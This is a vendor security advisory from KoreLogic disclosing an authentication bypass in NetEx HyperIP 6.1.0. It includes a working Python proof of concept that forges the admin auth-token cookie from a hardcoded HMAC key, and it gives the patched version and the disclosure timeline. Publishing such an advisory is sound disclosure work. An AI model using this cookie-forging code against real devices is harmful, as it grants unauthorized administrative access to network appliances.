Skip to main content
Security Advisory

NetEx HyperIP Authentication Bypass

Advisory ID
KL-001-2018-002
Published
2018-02-08
Vendor
NetEx

Affected Systems

Product
HyperIP
Version
6.1.0
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Authentication Bypass
Attack Vector: HTTPS

Vulnerability Description

Authentication for the management application can be bypassed by recreating the algorithm used to create predictable valid cookies.

Technical Description

Authentication can be bypassed using the function below.

>>> from hashlib import md5
>>> from hmac import new
>>> def bypass_auth(user,srcip):
...   key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
...   token = new(key,user+srcip,md5).hexdigest()
...   return token
...

The attacker first creates a cookie token.

>>> print bypass_auth('hipadmin','[redacted]')
b6b73844ce4df64f459948c5475a1096

Then the attacker can submit requests containing that value as the auth-token cookie, which will be trusted by the application.

Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic submits vulnerability details to NetEx.

NetEx confirms receipt.

NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined.

30 business days have elapsed since the vulnerability was reported to NetEx.

NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018.

45 business days have elapsed since the vulnerability was reported to NetEx.

90 business days have elapsed since the vulnerability was reported to NetEx.

120 business days have elapsed since the vulnerability was reported to NetEx.

NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable